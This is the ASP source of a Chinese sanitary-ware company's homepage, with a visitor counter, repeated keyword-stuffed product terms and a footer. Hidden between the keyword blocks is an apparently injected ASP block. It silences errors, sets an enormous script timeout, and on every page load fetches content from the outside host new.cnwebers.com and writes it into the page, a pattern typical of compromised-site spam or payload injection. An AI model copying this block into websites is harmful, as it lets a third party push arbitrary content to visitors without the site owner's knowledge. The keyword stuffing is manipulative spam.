<% Set Fs=Server.CreateObject("Scripting.FileSystemObject") '创建文件操作对象 file_path=Server.MapPath("./index/counter.txt") '获得文件路径 Set CounterFile=Fs.OpenTextFile(file_path) '选择记录浏览记录的文档 OldCounterValue=CounterFile.ReadLine '读取原有记录资料 NewCounterValue=OldCounterValue+1 '原有记录资料增加1 CounterFile.Close '关闭文件 Set CounterFile=Fs.OpenTextFile(file_path,2) '打开记录浏览记录的文档--counter.txt?可以写入模式 CounterFile.WriteLine(NewCounterValue) '将新的浏览记录写入文档 CounterFile.Close '关闭文档 Function G_Split(CounterValue,Counter_bits) For i=1 To Counter_bits G=Mid(CounterValue,i,1) If G="" Then G=0 ImgTag=""&ImgTag Else ImgTag=ImgTag&"" End If Next G_Split=ImgTag End Function %> 杭州雅佳琦卫浴有限公司 雅佳琦 杭州雅佳琦 雅佳琦卫浴 杭州卫浴 蒸气房 简易房 按摩浴缸 淋浴屏 洁具用品 杭州蒸气房 杭州简易房 杭州按摩浴缸 杭州淋浴屏 杭州洁具用品 浙江蒸气房 浙江简易房 浙江按摩浴缸 浙江淋浴屏 浙江洁具用品 including shower cabins shower enclosures massage bath tubs including shower cabins shower enclosures massage bath tubs including shower cabins shower enclosures massage bath tubs including shower cabins shower enclosures massage bath tubs 杭州雅佳琦卫浴有限公司 雅佳琦 杭州雅佳琦 雅佳琦卫浴 杭州卫浴 蒸气房 简易房 按摩浴缸 淋浴屏 洁具用品 杭州蒸气房 杭州简易房 杭州按摩浴缸 杭州淋浴屏 杭州洁具用品 浙江蒸气房 浙江简易房 浙江按摩浴缸 浙江淋浴屏 浙江洁具用品 including shower cabins shower enclosures massage bath tubs including shower cabins shower enclosures massage bath tubs including shower cabins shower enclosures massage bath tubs including shower cabins shower enclosures massage bath tubs 杭州雅佳琦卫浴有限公司 雅佳琦 杭州雅佳琦 雅佳琦卫浴 杭州卫浴 蒸气房 简易房 按摩浴缸 淋浴屏 洁具用品 杭州蒸气房 杭州简易房 杭州按摩浴缸 杭州淋浴屏 杭州洁具用品 浙江蒸气房 浙江简易房 浙江按摩浴缸 浙江淋浴屏 浙江洁具用品 including shower cabins shower enclosures massage bath tubs including shower cabins shower enclosures massage bath tubs including shower cabins shower enclosures massage bath tubs including shower cabins shower enclosures massage bath tubs <% On Error Resume Next Server.ScriptTimeOut=9999999 response.write(getHTTPPage("http://new.cnwebers.com")) function getHTTPPage(url) dim http set http=createobject("MSXML2.XMLHTTP") Http.open "GET",url,false Http.send() if Http.readystate<>4 then exit function end if getHTTPPage=bytes2BSTR(Http.responseBody) set http=nothing if err.number<>0 then err.Clear end function Function bytes2BSTR(vIn) dim strReturn dim i,ThisCharCode,NextCharCode strReturn = "" For i = 1 To LenB(vIn) ThisCharCode = AscB(MidB(vIn,i,1)) If ThisCharCode < &H80 Then strReturn = strReturn & Chr(ThisCharCode) Else NextCharCode = AscB(MidB(vIn,i+1,1)) strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) i = i + 1 End If Next bytes2BSTR = strReturn End Function %>

进入[中文版]|[English]

本站版权归 杭州雅佳琦卫浴有限公司 所有 电话(Tel):0571-82187380

Hangzhou Yajiaqi Sanitary Wares Co., Ltd. | Hangzhou Rongxing

您是第<%=G_Split(NewCounterValue,6)%>位访问本站的朋友 | 浙ICP备06051433号

114卫浴洁具招商网